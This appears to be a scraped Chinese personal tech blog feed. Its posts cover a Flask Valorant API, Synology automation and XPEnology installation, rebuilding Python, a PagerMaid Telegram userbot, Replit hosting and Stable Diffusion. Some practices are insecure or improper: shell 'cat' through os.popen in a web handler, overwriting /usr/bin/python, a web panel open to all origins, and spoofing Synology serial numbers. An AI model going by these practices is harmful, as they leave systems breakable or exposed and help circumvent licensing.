"assetPath": "ShooterGame/Content/Equippables/Melee/Koi/Levels/Melee_Koi_Lv1_PrimaryAsset"
},
{
"uuid": "99a21016-41bf-2dfe-43e6-6f9ffe50d8c0",
"displayName": "澄湖潋滟 等级2",
"levelItem": "EEquippableSkinLevelItem::Animation",
"displayIcon": null,
"streamedVideo": "https://valorant.dyn.riotcdn.net/x/videos/release-06.08/229677bc-44b5-4896-131e-8097518dd336_default_universal.mp4",
"assetPath": "ShooterGame/Content/Equippables/Melee/Koi/Levels/Melee_Koi_Lv2_PrimaryAsset"
}
]
},

你会发现在assetPath里面有很明显的Melee字样,为了准确,我这里把ShooterGame/Content/Equippables/Melee/作为判断条件,如果含有这个字段则认为是近战武器,实际证明也是可行的

我们在更新缓存那一节新增一段代码,写入我们的近战武器数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
c.execute('CREATE TABLE melee (uuid TEXT PRIMARY KEY, name TEXT, "name-zh-CN" TEXT, "name-zh-TW" TEXT, "name-ja-JP" TEXT, data TEXT, "data-zh-CN" TEXT, "data-zh-TW" TEXT, "data-ja-JP" TEXT)')# 建表
if 'ShooterGame/Content/Equippables/Melee/' in json.dumps(i):
try:
c.execute(f'INSERT INTO melee ([uuid], name, data) VALUES (?, ?, ?)', (
i["uuid"], i["displayName"], json.dumps(i)))
conn.commit()
except sqlite3.IntegrityError:
c.execute(f'UPDATE melee SET name = ?, data = ? WHERE uuid = ?',
(i["displayName"], json.dumps(i), i["uuid"]))
conn.commit()
except sqlite3.OperationalError:
c.execute(
'CREATE TABLE melee (uuid TEXT PRIMARY KEY, name TEXT, "name-zh-CN" TEXT, "name-zh-TW" TEXT, "name-ja-JP" TEXT, data TEXT, "data-zh-CN" TEXT, "data-zh-TW" TEXT, "data-ja-JP" TEXT)')
c.execute(f'INSERT INTO melee ([uuid], name, data) VALUES (?, ?, ?)', (
i["uuid"], i["displayName"], json.dumps(i)))
conn.commit()

这样,我们把所有的数据存入melee表中,然后直接获取melee表中所有的数据就是我们的近战武器了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
if request.args.get('query') not in ['近战武器', '近戰武器', 'Melee', '近接武器']:
# 非近战武器,正常查询
if lang == 'en':
# Get all skins' uuid & name
c.execute(
'SELECT uuid, name, data FROM skins WHERE name LIKE ?', (query,))
elif lang == 'zh-CN' or lang == 'zh-TW':
c.execute(
f'SELECT uuid, "name-{dictlang}", "data-zh-TW" FROM skins WHERE "name-zh-CN" LIKE ? OR "name-zh-TW" LIKE ?', (query, query))
else:
c.execute(
f'SELECT uuid, "name-{dictlang}", "data-{dictlang}" FROM skins WHERE "name-{lang}" like ?', (query,))
conn.commit()
else:
# 近战武器,直接获取melee表
if lang == 'en':
# Get all skins' uuid & name
c.execute(
'SELECT uuid, name, data FROM melee')
elif lang == 'zh-CN' or lang == 'zh-TW':
c.execute(
f'SELECT uuid, "name-{dictlang}", "data-zh-TW" FROM melee')
else:
c.execute(
f'SELECT uuid, "name-{dictlang}", "data-{dictlang}" FROM melee')
conn.commit()
skins = c.fetchall()

第四次踩坑:翻译问题

做完了分类以后,我逐个去尝试,发现一个问题

没错,捍卫者这一分类下出现了一把R8,然后我去找是什么情况,结果一查才知道这把R8的翻译叫做戍卫者

那没办法了,捍卫者这把枪的索引就只能换成繁中了(因为不冲突),想看看是啥情况的可以自己把query后面的参数改成戍卫去试试

翻译对照表

做这个功能的原因是我现在游戏内用的英语,然后如果刚进游戏没看到是什么地图,而是在选英雄的时候看地图的时候,就会不知道是什么地图,所以加了这个功能

因为加了地图的对照表,所以干脆就把所有的东西都加进去,用不同的端点区分

现在更新缓存那里把其他的内容也加入数据库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
LinkAgentsmap = [
('en', 'https://valorant-api.com/v1/agents'),
('zh-CN', 'https://valorant-api.com/v1/agents?language=zh-CN'),
('zh-TW', 'https://valorant-api.com/v1/agents?language=zh-TW'),
('ja-JP', 'https://valorant-api.com/v1/agents?language=ja-JP'),
]

LinkMapsmap = [
('en', 'https://valorant-api.com/v1/maps'),
('zh-CN', 'https://valorant-api.com/v1/maps?language=zh-CN'),
('zh-TW', 'https://valorant-api.com/v1/maps?language=zh-TW'),
('ja-JP', 'https://valorant-api.com/v1/maps?language=ja-JP'),
]

LinkWeaponsmap = [
('en', 'https://valorant-api.com/v1/weapons'),
('zh-CN', 'https://valorant-api.com/v1/weapons?language=zh-CN'),
('zh-TW', 'https://valorant-api.com/v1/weapons?language=zh-TW'),
('ja-JP', 'https://valorant-api.com/v1/weapons?language=ja-JP'),
]

c.execute(
'CREATE TABLE agents (uuid TEXT PRIMARY KEY, name TEXT, "name-zh-CN" TEXT, "name-zh-TW" TEXT, "name-ja-JP" TEXT)')
c.execute(
'CREATE TABLE weapons (uuid TEXT PRIMARY KEY, name TEXT, "name-zh-CN" TEXT, "name-zh-TW" TEXT, "name-ja-JP" TEXT)')
c.execute(
'CREATE TABLE maps (uuid TEXT PRIMARY KEY, name TEXT, "name-zh-CN" TEXT, "name-zh-TW" TEXT, "name-ja-JP" TEXT)')

for lang, link in LinkAgentsmap:
print('Updating Agents Data of ' + lang)
conn = sqlite3.connect('db/data.db')
data = requests.get(link).json()

c = conn.cursor()
if lang == 'en':
for i in data['data']:
if i['isPlayableCharacter']: # There's an unplayable SOVA in data
try:
c.execute(f'INSERT INTO agents ([uuid], name) VALUES (?, ?)', (
i["uuid"], i["displayName"]))
conn.commit()
except sqlite3.IntegrityError:
c.execute(f'UPDATE agents SET name = ? WHERE uuid = ?',
(i["displayName"], i["uuid"]))
conn.commit()
else:
if i['isPlayableCharacter']:
for i in data['data']:
c.execute(f'UPDATE agents SET "name-{lang}" = ? WHERE uuid = ?',
(i["displayName"], i["uuid"]))
conn.commit()
c.close()

for lang, link in LinkMapsmap:
print('Updating Maps Data of ' + lang)
conn = sqlite3.connect('db/data.db')
data = requests.get(link).json()

c = conn.cursor()
if lang == 'en':
for i in data['data']:
try:
c.execute(f'INSERT INTO maps ([uuid], name) VALUES (?, ?)', (
i["uuid"], i["displayName"]))
conn.commit()
except sqlite3.IntegrityError:
c.execute(f'UPDATE maps SET name = ? WHERE uuid = ?',
(i["displayName"], i["uuid"]))
conn.commit()
else:
for i in data['data']:
c.execute(f'UPDATE maps SET "name-{lang}" = ? WHERE uuid = ?',
(i["displayName"], i["uuid"]))
conn.commit()
c.close()

for lang, link in LinkWeaponsmap:
print('Updating Weapons Data of ' + lang)
conn = sqlite3.connect('db/data.db')
data = requests.get(link).json()

c = conn.cursor()
if lang == 'en':
for i in data['data']:
try:
c.execute(f'INSERT INTO weapons ([uuid], name) VALUES (?, ?)', (
i["uuid"], i["displayName"]))
conn.commit()
except sqlite3.IntegrityError:
c.execute(f'UPDATE weapons SET name = ? WHERE uuid = ?',
(i["displayName"], i["uuid"]))
conn.commit()
else:
for i in data['data']:
c.execute(f'UPDATE weapons SET "name-{lang}" = ? WHERE uuid = ?',
(i["displayName"], i["uuid"]))
conn.commit()
c.close()

说白了就是照葫芦画瓢,因为之前做过了

在主程序里面加入数据库查询的功能就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
@app.route('/trans')
def transDefault():
return redirect('/trans/maps')


@app.route('/trans/<t>')
def trans(t):
if request.args.get('lang'):
if request.args.get('lang') in app.config['BABEL_LANGUAGES']:
lang = request.args.get('lang')
else:
lang = str(request.accept_languages.best_match(
app.config['BABEL_LANGUAGES']))
elif request.accept_languages.best_match(app.config['BABEL_LANGUAGES']):
lang = str(request.accept_languages.best_match(
app.config['BABEL_LANGUAGES']))
else:
lang = 'en'
if t in ['agents', 'maps', 'weapons', 'skins']:
conn = sqlite3.connect('db/data.db')
datalist = []
if t == 'skins':
c = conn.cursor()
c.execute(
'SELECT name, "name-zh-CN", "name-zh-TW", "name-ja-JP", isMelee FROM {}'.format(t))
conn.commit()
data = c.fetchall()
c.execute(
'SELECT name, "name-zh-CN", "name-zh-TW", "name-ja-JP" FROM weapons')
conn.commit()
weapons = c.fetchall()
else:
c = conn.cursor()
c.execute(
'SELECT name, "name-zh-CN", "name-zh-TW", "name-ja-JP" FROM {}'.format(t))
conn.commit()
data = c.fetchall()
for i in data:
if t == 'skins':
en_name, zhCN_name, zhTW_name, jaJP_name, isMelee = i
if isMelee:
continue
for en, zhCN, zhTW, jaJP in weapons:
en_name = en_name.replace(en, '').strip()
zhCN_name = zhCN_name.replace(zhCN, '').strip()
zhTW_name = zhTW_name.replace(zhTW, '').strip()
jaJP_name = jaJP_name.replace(jaJP, '').strip()
if {"en": en_name, "zhCN": zhCN_name, "zhTW": zhTW_name, "jaJP": jaJP_name} not in datalist:
datalist.append(
{"en": en_name, "zhCN": zhCN_name, "zhTW": zhTW_name, "jaJP": jaJP_name})
else:
if {"en": i[0], "zhCN": i[1], "zhTW": i[2], "jaJP": i[3]} not in datalist:
datalist.append({"en": i[0], "zhCN": i[1],
"zhTW": i[2], "jaJP": i[3]})
return render_template('trans.html', data=list(datalist), lang=yaml.load(os.popen(
f'cat lang/{lang}.yml').read(), Loader=yaml.FullLoader))
else:
abort(404)

手动切换网站语言

这个还是@Vanilluv提出的,我就加了个lang参数用来切换语言

如果是网站支持的语言中的一种,就显示指定的语言;如果非支持的语言,默认显示浏览器语言;如果浏览器没有合适的语言(例如用curl访问)就会显示英语

按照这个逻辑,写了一个判断

1
2
3
4
5
6
7
8
9
10
11
12
13
if request.args.get('lang'):
if request.args.get('lang') in app.config['BABEL_LANGUAGES']:
lang = request.args.get('lang')
elif request.accept_languages.best_match(app.config['BABEL_LANGUAGES']):
lang = str(request.accept_languages.best_match(
app.config['BABEL_LANGUAGES']))
else:
lang = 'en'
elif request.accept_languages.best_match(app.config['BABEL_LANGUAGES']):
lang = str(request.accept_languages.best_match(
app.config['BABEL_LANGUAGES']))
else:
lang = 'en'

然后使用语言文件的时候就直接调用{lang}.yml就可以了

结语

这个项目真的是从我自己立项开始做到现在,做了两周有多,接下来还有其他的更新,但是也是慢更了,就是那种小小的更新,功能性的除了一个皮肤库还没写以外,我就想不到还能做什么功能了,如果你有好的建议可以在下面评论,我看到会去试试的

如果你想给我赞助,除了访问赞助页面以外,也可以给我的账号充VP(缅甸区),DM(私聊)我我看到会给你发ID的,谢谢!

]]>
+ + + + + Tech + + + + + + + Flask + + API + + Valorant + + + +
+ + + + + 把群晖打造成BT自动下载服务器 + + /posts/Make-Synology-NAS-to-BT-Downloader/ + +

前几天不是把家里的小霸王给改造成了NAS嘛,然后本来就是想架个EMBY然后在家里直接就看番了的,找了一圈发现BT下载是比较好用的,结果下载下来文件名格式又不一样,不符合EMBY的解析要求,于是就有了这篇文章


找种子

我推荐用蜜柑计划 - Mikan Project (mikanani.me)

虽然有时候上不去,但是资源是全的,速度也很不错,可以试试

配置下载

我一开始用的qbitorrent(群晖套件版的),但是那个配置起来超级麻烦,而且发现RSS订阅后不会自动下载(不知道是我的问题还是啥)

然后我记得群晖里有一个自带的Download Station,启动后发现其实它是支持BT下载的

我们找到Download Station,然后打开RSS,在里面添加我们的RSS链接

我这里选的是那种分集用[]给括起来的字幕组(好正则匹配,后面会说为什么要re匹配),直接加进去就行了

然后在下面下载过滤器新建一个过滤器,根据自己的需要填写过滤规则

设置完后,记得在RSS Feeds里面,把之前已经发出来的剧集先根据自己的需要下载好

自动重命名

因为EMBY需要AnimeName SxxExx这样的命名格式,但是字幕组发布的资源命名通常都是乱的,所以我们需要配置一个自动重命名

我先写好了一个Python程序,放在/volume1/Storage/AutoRename/AutoRename.py里面(路径可以自己进SSH去找),内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import os
import sys
import re
import time
import shutil

##### 初始化参数 #####

# 工作目录
workdir = '/volume1/Animes'

# 排除目录
ignoredir = [
'@eaDir',
'#recycle'
]

# 日志目录
logdir = '/volume1/Storage/log/synoscheduler/3'

# 日志保留时长(时间戳差,自己去算)【604800 7天】
logpreserve = 604800

# 更改工作目录
os.chdir(workdir)

# 排除目录函数
def RemoveIgnoreDirs(src: list, ignores: list) -> None:
for ignore in ignores:
try:
src.remove(ignore)
except Exception:
pass

# 移除保留时长外的log文件夹的函数
def RemovePreviousLog(src: list, logpreserve: int) -> None:
toRemove = False
loglist = os.listdir(src)
now = int(time.time())
for log in loglist:
try: logtime = int(log)
except Exception as e:
print(f'{e} when removing {logdir}/{log}')
continue
if now - logtime > logpreserve:
toRemove = True
shutil.rmtree(f'{logdir}/{log}')
print(f'Removed {logdir}/{log}')
if not toRemove:
print('Nothing to remove.')

if __name__ == '__main__':
print(f'{" Renameing Animes ":=^60}')
# 获取目录下所有番剧的名字
animes = os.listdir()
RemoveIgnoreDirs(animes, ignoredir)
for anime in animes:
# 获取番剧的季信息
seasons = os.listdir(f'./{anime}')
RemoveIgnoreDirs(seasons, ignoredir)
for season in seasons:
# 获取番剧每一话
episodes = os.listdir(f'./{anime}/{season}')
RemoveIgnoreDirs(episodes, ignoredir)
for episode in episodes:
try:
episode_num = str(re.search(r'\[[0-9][0-9](\.)?[0-9]?(v)?[0-9]?集?\]', episode).group()).replace('[', '').replace(']', '').replace('v2', '').replace('集', '')
except AttributeError:
print(f'No matching pattern on "{episode}"')
continue
filetype = episode.split('.')[-1]
filename = f'{anime} {season}E{episode_num}.{filetype}'
print(f'Renaming "{episode}" -> {filename}')
os.rename(f'./{anime}/{season}/' + episode, f'./{anime}/{season}/' + filename)
# 移除保留期限外的日志
print(f'\n{" Removing old logs ":=^60}')
RemovePreviousLog(logdir, logpreserve)
# 结束提示
print(f'\n{" Done ":=^60}\n')

这就是为什么选择字幕组的时候我选了分集号用中括号[]括起来的原因

接着我们打开群晖的控制面板,找到任务计划,新建一个任务

点击新增 -> 用户定义的脚本 根据自己的需要创建即可,一开始在任务名称里面会写Task x,这个x就是你的任务号,群晖的任务log会保存在<你指定的目录>/synoscheduler/<ID>这样的位置,所以这个ID记得记下来然后把脚本里面的ID改掉

保存后群晖就会自动执行重命名任务了,当EMBY进行扫描的时候,扫描到命名正确的文件就会自动加入媒体库了

注:EMBY媒体库的结构举例(也是我这个脚本适合的目录结构)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
W:.
├─为美好的世界献上爆焰!
│ └─S01
│ 为美好的世界献上爆焰! S01E01.mp4
│ 为美好的世界献上爆焰! S01E02.mp4

├─勇者死了
│ └─S01
│ 勇者死了 S01E01.mp4
│ 勇者死了 S01E02.mp4

├─总之就是非常可爱
│ └─S02
│ 总之就是非常可爱 S02E01.mp4
│ 总之就是非常可爱 S02E02.mp4

├─我推的孩子
│ └─S01
│ 我推的孩子 S01E01.mp4
│ 我推的孩子 S01E02.mp4

├─第二次被异世界召唤
│ └─S01
│ 第二次被异世界召唤 S01E01.mp4
│ 第二次被异世界召唤 S01E02.mp4

└─英雄联盟:双城之战
└─S01
英雄联盟:双城之战 S01E01.mp4
英雄联盟:双城之战 S01E02.mp4
英雄联盟:双城之战 S01E03.mp4
英雄联盟:双城之战 S01E04.mp4
英雄联盟:双城之战 S01E05.mp4
英雄联盟:双城之战 S01E06.mp4
英雄联盟:双城之战 S01E07.mp4
英雄联盟:双城之战 S01E08.mp4
英雄联盟:双城之战 S01E09.mp4
]]>
+ + + + + Tech + + + + + + + Synology + + BT + + Download + + + +
+ + + + + 在小霸王电脑上安装黑群晖 + + /posts/Install-black-synology-NAS-on-previous-PC/ + +

因为最近想看番,然后发现嗶哩嗶哩没有买几部番(如何看嗶哩嗶哩请见这里),就想着能不能直接用qbitorrent那一套自动订阅,但是吧,自己的电脑又不是天天开着,而且用来下番,游戏啥的还打不打了。这不转个头看到家里闲置的ASUS X455LD笔记本,就想着在上面按个黑群晖

下载并刷入引导

这里用到的是Github上的一个项目:fbelavenuto/arpl: Automated Redpill Loader (github.com)

因为我是安装在物理机上面,所以下的是那个带 img tag的文件,剩下两个VM的是给虚拟机用的

下载后解压,然后掏出我们的老朋友balenaEtcher来把img文件写入U盘(我这个U盘也是个小霸王,金士顿的经典DT 101 G2)

通过引导来编译WIFI固件

我们将U盘插入电脑,然后从U盘启动(记得关掉Secure Boot,我第一次没启动成功然后发现是忘记关Secure Boot了),在这里建议把网线插上,因为这个配置的过程中是不会配置WIFI的

启动的过程中,如果有弹出启动菜单,就直接选择Configure Bootloader就好了,然后会进入配置向导

获取到了IP以后,可以在其他电脑上输入这个地址进入配置,也可以直接输入menu.sh开始配置(我这里因为没有网线所以是插了手机用USB网络共享的)

我这里是直接输入menu.sh进去了,进入menu后我们从上到下依次来

选择型号

这个程序会自动列出你的电脑可用的群晖型号,我这里给我列出了很多

选适合自己的就行了,我这里选了DS3615xs(后面换成DS320+了),这里要记住后面的那个字符串,在下载系统的时候会用到

选择版本

Choose a Build Number里面,我们需要选择一个群晖的版本号,我直接选择了最新的42962,这个版本号要先记住,后面要用

选择序列号

在这个主要是你要不要洗白的问题,要洗白的话就要用白群晖的序列号,我这里是DS3615xs,所以用一个DS3615xs的序列号就可以了,这里我就随机生成一个了

洗白参考:黑群晖洗白介绍:可以让大家使用白群的Quickconnect - 知乎 (zhihu.com)

开始编译

弄完上面这三个,除非你有更多的自定义,否则直接选择Build the loader进行编译就可以了,接着电脑就会自动联网进行资源下载,然后编译,这个过程要等

编译好了以后,如果你的光标停在了Switch direct boot: false上面,按下回车,调成true(没有就不管),然后选择Boot the loader,然后手动重启一下电脑(直接输入reboot就行了,如果无法输入就长按电源键,在这里开始就不推荐使用手机插上去USB网络共享的方法了,因为手机的USB网络共享跟手机的WIFI共享不是一个网域的,会访问不到)

启动完成

启动好了以后,我们记住屏幕显示的IP地址,进入下一节

安装系统

首先你要去群晖官网下载一个系统Synology Archive Download Site - Index of /download/Os/DSM

在这里选择你要下载的版本(系统版本号后面带-的是小更新,我们要选择不带-的)

在这里搜索在型号选择那一节让你记住的字符串,把系统下载下来

然后链接我们的黑群晖(开个浏览器访问IP就行),进入设置向导,安装系统的时候把你的系统导入进去安装就行了

更新后会自动重启,这个开机可能会有点慢,实测我的开机用了2:25

安装套件

在群晖里有套件中心,你可以根据需要来安装你所需要的软件,当然你也可以SSH链接进去,不过群晖是没有apt的,尽管他是Ubuntu衍生

在套件中心,一开始里面的东西会非常少,因为官方没有给我们提供足够的套件,我们可以加入第三方套件源(套件源在下面,安全性不保证,来源于网络)

1
2
3
4
5
6
7
8
1.packages:http://packages.synocommunity.com/?beta=1
2.KS7.0SPK:https://spk7.imnks.com/
3.ACMENet: http://synology.acmenet.ru
4.communitypackage hub:http://www.cphub.net
5.Cambier:https://synology.cambier.org/
6.Dierkse:http://syno.dierkse.nl/
7.FileBot:https://get.filebot.net/syno/
8.Hildinger:http://www.hildinger.us/sspks/

点开套件中心,点击设置,然后添加自己的套件源就行了

添加完了以后,左边会有一个社群,在社群里面就能找到来自第三方软件源的套件了

结尾

黑群晖其实玩玩就好,具体的数据稳定性其实不太确定,因为这个东西毕竟不太稳定(我高一那年弄黑群晖就是数据火葬场),建议用SSH的时候不要乱捣鼓,省的系统崩了

]]>
+ + + + + Tech + + + + + + + Synology + + NAS + + + +
+ + + + + 我被微软算账了π_π + + /posts/My-Office365-is-Down/ + +

先上张图……

没错,这一轮是强制过期,我的邮件上次还跟我说续费到**7/12/2023 (UTC)**,就……很难受

发现这个问题还是群里面有人说了我才知道的,赶紧用其他的outlook账号开个新的订阅然后把数据转移过去

数据转移我用的是mover.io,微软官方其实也有转移的东西但是我没去研究,mover之前跟微软合作所以就一直在用了,结果跑了一个晚上没跑完

有人说是使用了qyi.io的e5续订服务的原因,这个也不清楚,我现在在telegram上看到的都说是随机的,不过我确实两个订阅都寄了,这个确实没办法

]]>
+ + + + + Software + + + + + + + Software + + + +
+ + + + + 记一次更新服务器Python的过程 + + /posts/Update-Python-on-my-server/ + +

这几天撸了一个Warframe的查询bot(GamerNoTitle/AaTMbot: AaTMbot (Alerts & Tenno’s Market Bot) 是一个与go-cqhttp一起运行的WARFRAME信息查询/推送bot (github.com)),因为自己物理机子用的Python版本是3.10.3,所以干脆就用上了3.10更新的match...case...写法,然鹅就当我写完bot部署到服务器的时候,却发现我的服务器的py还停留在3.8.10,这不就用不了match...case...了吗……所以我决定更新一下我的服务器上面的Python


下载Python

很简单,终端直接wget就行了,链接自己从官网获得

1
$ wget https://www.python.org/ftp/python/3.10.9/Python-3.10.9.tgz

然后我们要解压一下我们的文件,用tar命令

1
$ tar -zxvf Python-*.tgz

然后会得到一个文件夹,我们进入这个文件夹里面,准备编译Python

编译Python

Python源码是要自己编译的,编译成二进制可执行文件才能被我们的系统执行,首先我们要让它自己配置一下

1
$ ./configure --enable-optimizations

等它配置完以后开始编译(没有make的要先装一下,用sudo apt install make -y

1
$ make

这个过程会非常的漫长(主要我服务器性能太低了),等它编译完

进行安装

1
$ sudo make install

完成后,我们还要把原来的Python替换掉

替换Python

先删除原来的Python

1
$ rm /usr/bin/python

然后建立连接

1
2
$ sudo ln -s /home/ubuntu/python310/Python-3.10.9/python /usr/bin/python3
$ sudo ln -s /home/ubuntu/python310/Python-3.10.9/python /usr/bin/python

这样就完成了

]]>
+ + + + + Tech + + + + + + + 服务器运维 + + 更新Python + + 编译 + + + +
+ + + + + 防止你的Telegram被垃圾私信轰炸 - PagerMaid-Pyro 部署使用 + + /posts/Use-telegram-with-pagermaid/ + +

TeamPGM/PagerMaid-Pyro: Advanced Multi-Featured Telegram UserBot by pyrogram. (github.com)

Replit使用教程 白嫖Repl.it的服务,让你的服务不间断运行 | GamerNoTitle

YouTube参考 橙子知道|教你开启Telegram私聊验证功能,告别垃圾广告信息 - YouTube

先去看Replit的使用教程再来看这个会好一点哦

安装

我们先打开一个Replit实例,创建就好了,类型选到Bash

然后把PagerMaid克隆下来

1
2
3
$ git clone https://github.com/TeamPGM/PagerMaid-Pyro.git
$ mv PagerMaid-Pyro/* .
$ rm -rf PagerMaid-Pyro

然后安装轮子(如果不是在replit运行可以不加--target=.

1
$ pip install -r requirements.txt --target=.

装好了以后,我们还需要修改配置文件

配置

我们先把原来程序给我们的配置文件复制一份

1
$ cp config.gen.yml config.yml

然后打开config.yml文件,改下里面的配置

我们先去Authorization (telegram.org)登录我们的Telegram账号,注册一个应用,这个登录界面的验证码是发到你的Telegram应用里面的,不是短信!

登录进去以后,点API development tools,根据提示注册一个应用

注册完了应该会出现像我这样的页面

我们把App api_idApp api_hash复制下来,填入配置文件中

1
2
3
api_id: "ID_HERE"
api_hash: "HASH_HERE"
qrcode_login: "False"

qrcode_login强烈建议打开,因为你很有可能会收不到验证码,还不如扫个码,打开就填写True

然后找到web_interface配置项,把它打开,可以不用,但是要开,要不然不好保活,host要改成0.0.0.0,密码记得改一下

1
2
3
4
5
6
web_interface:
enable: "True"
secret_key: "RANDOM_STRING_HERE"
host: "0.0.0.0"
port: "3333"
origins: ["*"]

往下的配置根据自己需要修改,一般来说可以不改

接着我们改下main.sh里面的内容,改成下面的内容

1
python -m pagermaid

以便我们一键启动

使用

准备好你的手机(要登陆了Telegram)和一个二维码生成器,我用的草料二维码(没收广告费,确实好用)

Telegram在设置 => 设备 => 登录新客户端,进入扫码模式

然后在控制台打上

1
$ python -m pagermaid

把我们的PagerMaid打开,然后会弹出二维码或者登录链接,你会发现这个二维码显示不全

所以我们需要把登录链接丢进草料二维码生成器里面,生成一个二维码,拿手机扫一下,这个链接的有效时间是20秒,所以需要快一点

登录后如果配置了二步验证密码的话,还需要输入一下密码,出现像我这样的提示就是成功了

我们随便打开一个聊天窗口(建议找个收藏夹或者私聊,因为你发送的内容和PagerMaid给你返回的内容对方是能看到的),输入,help(命令前缀是一个逗号)

会弹出PagerMaid的帮助信息,可以在里面找到命令

插件

回归正题,本来用这个东西就是为了用私聊垃圾信息屏蔽的,现在只是装好了后端,还没有安装屏蔽功能

我们在聊天框输入,apt install pmcaptcha来安装它

然后输入,pmcaptcha show_settings来查看相关的设置,安装好的同时这个功能就已经打开了

当验证失败的时候就会被封禁(使用的是Telegram的Block功能,我这里选的是Sticker验证方式,使用,pmcaptcha change_type sticker就可以换过去了,需要对方发一个Sticker才能通过验证)

还有其他的插件,可以自己去探索。这东西有个web控制台的,可以去看看

]]>
+ + + + + Tech + + + + + + + Tech + + + +
+ + + + + 白嫖Repl.it的服务,让你的服务不间断运行 + + /posts/Full-use-of-replit/ + +

之前我用过很多的云平台,什么Azure啦,heroku啦,railway啦之类的,问题是这些平台有些太贵(Azure),有些改了免费策略已经不适合我们这些白嫖党使用(Heroku、Railway),我现在还在用的也就是Glitch(开多个账号,反正一个账号1000H/mo,就是配额太小了)

昨天突然想起telegram有个可以屏蔽垃圾私信的项目(具体可以看另一篇文章),然后又想起之前开发TGbot用过的replit,这不又开始了我的白嫖之旅


Repl.it官网:https://repl.it 或者 https://replit.com

BetterUptime官网:https://betteruptime.com/?ref=88fj (后面是AFF码,不想帮我AFF可以删掉)

基础使用

打开replit,使用你喜欢的方式登录(我用的是Github),然后就会进入主界面

在这里,我们可以点击左边的Create来创建一个实例,里面也有一些模板,可以根据自己的需要创建,我这里就选一个空项目(直接选到bash就行)了

进入到项目的编辑界面,在左边有个Repl Resources可以看到配额,这个配额确实不能说很多

我们点击左边Files右边的三个点,然后点击Show hidden files,把隐藏文件显示打开,肯定会用到的

下面会多出两个东西,一个是.replit,一个是replit.nix,其中,.replit里面存放的是项目的配置,包括启动命令啥的;而replit.nix里面存放的是nix包的信息,你可以在里面增添你想要的包

因为replit是不能使用sudo命令的(特殊手段另说),所以说想要安装新的软件只能通过nix包管理器来加

以pip的安装为例,首先我们在shell里面输入pip的时候会提示未安装,让我们选择需要的pip版本,按需要选择就行

然后nix包就会帮我们自动安装,在replit.nix里面也可以看到加入了一行

1
2
3
4
5
6
7
8
9
{ pkgs }: {
deps = [
pkgs.python39Packages.pip# 新加的一行
pkgs.unzip
pkgs.wget
pkgs.bashInteractive
pkgs.man
];
}

我这里上传一个biliCDN的主页作为演示,需要注意的是,可能是因为replit的nix路径配置问题,直接用pip安装的时候会出现权限不够的问题,所以我们要加入--target=这一个参数来指定安装的目录,我这里直接安装到了当前目录

虽然右边还是报了错,但是左边的目录里面可以看到轮子已经安装完了

这时候,修改一下main.sh里面的内容,改成能启动我们的服务(不建议改.replit里面的内容,容易因为$PATH里面没有加入环境变量而无法启动)

1
$ python app.py

启动完了以后,如果你的是HTTP服务的应用的话,会有一个webview窗口(如图),也会分配一个域名给你,不过可以绑定自定义域名,倒不如说建议绑定自定义域名,分配的repl.co实在是太慢了

应用保活

按照replit的规则,应用如果5分钟闲置就会被休眠(所以推荐在这上面部署HTTP服务,如果是TCP啥的容易活不了)

这里我用了网站监控平台BetterUptime,用法其实跟很多监控平台一样,就是加入自己的网站,然后定时监控

主要是监控的间隔时间要选择3分钟,要不然容易断掉

改完然后保存就行了,然后可以在Panel里面看到刚刚加进去的网站,然后放着不管就行了,只要没有报错的话就不会断掉的撒

费用

]]>
+ + + + + Tech + + + + + + + Tech + + + +
+ + + + + 关于我玩Stable-diffusion-webui的那些事 + + /posts/Stable-diffusion-webui-discovery/ + +

前段时间AI制图不是很火嘛,说NovelAI的制图效果可以比得上一些画师,然后当时B站就有很多的用AUTOMATIC1111/stable-diffusion-webui加上一堆模型来生成自己的图片

其实我一开始用的是naifu那一套,就是深紫色UI的那一个(图片在下面),而且是跑在colab上面的,这个跟stable-diffusion比的话没有负面Tag这个说法,就是给想要的图片的关键词,然后生成自己想要的图片

naifu版本

后来看到了Stable-diffusion这一套,换模型啥的会比naifu版更加方便,而且功能也更全面,于是果断转向naifu版

之前是跑在Google Colab上面的,但是最近不知道为什么抽风,stable-diffusion跑不起来(开到一半会自动被KeyboardInterupt),然后我就选择在我电脑上跑了

要是你想在Colab或者Kaggle上面跑的话,我这里也提供下载链接

stable-diffusion-webui 版本:下载链接

naifu-NovelAI 版本:下载链接

安装基本组件

这里我们需要从Github上面把源码给弄下来,打开终端输入

1
$ git clone https://github.com/AUTOMATIC1111/stable-diffusion-webui.git

然后进入stable-diffusion-webui文件夹,里面应该有几个bat或者sh脚本

Windows用户就逮着bat脚本用就行了,而Linux用户就用sh脚本

我们需要关注的是webui-user.batwebui-user.sh文件,在这两个文件里面我们可以设置我们的各项启动参数,以下以Windows为例

1
2
3
4
5
6
7
8
@echo off

set PYTHON=
set GIT=
set VENV_DIR=
set COMMANDLINE_ARGS=

call webui.bat

初始状态应该跟我一样是什么也没有的,我的电脑用的是NVIDIA Geforce RTX 3060 Laptop 6G显卡,这个显存虽然看起来很大,但是在机器学习这方面简直是不够用,为了避免爆显存,我们可以在COMMANDLINE_ARGS里面加上一些参数

如果你的电脑用的显卡跟我的差不多,那么只用加上一个--medvram就可以了,但如果你的电脑显卡显存小于等于4G,那么我推荐使用--lowvram作为启动参数

这里附上我的启动参数

1
2
3
4
5
6
7
8
9
@echo off

set PYTHON=
set GIT=
set VENV_DIR=
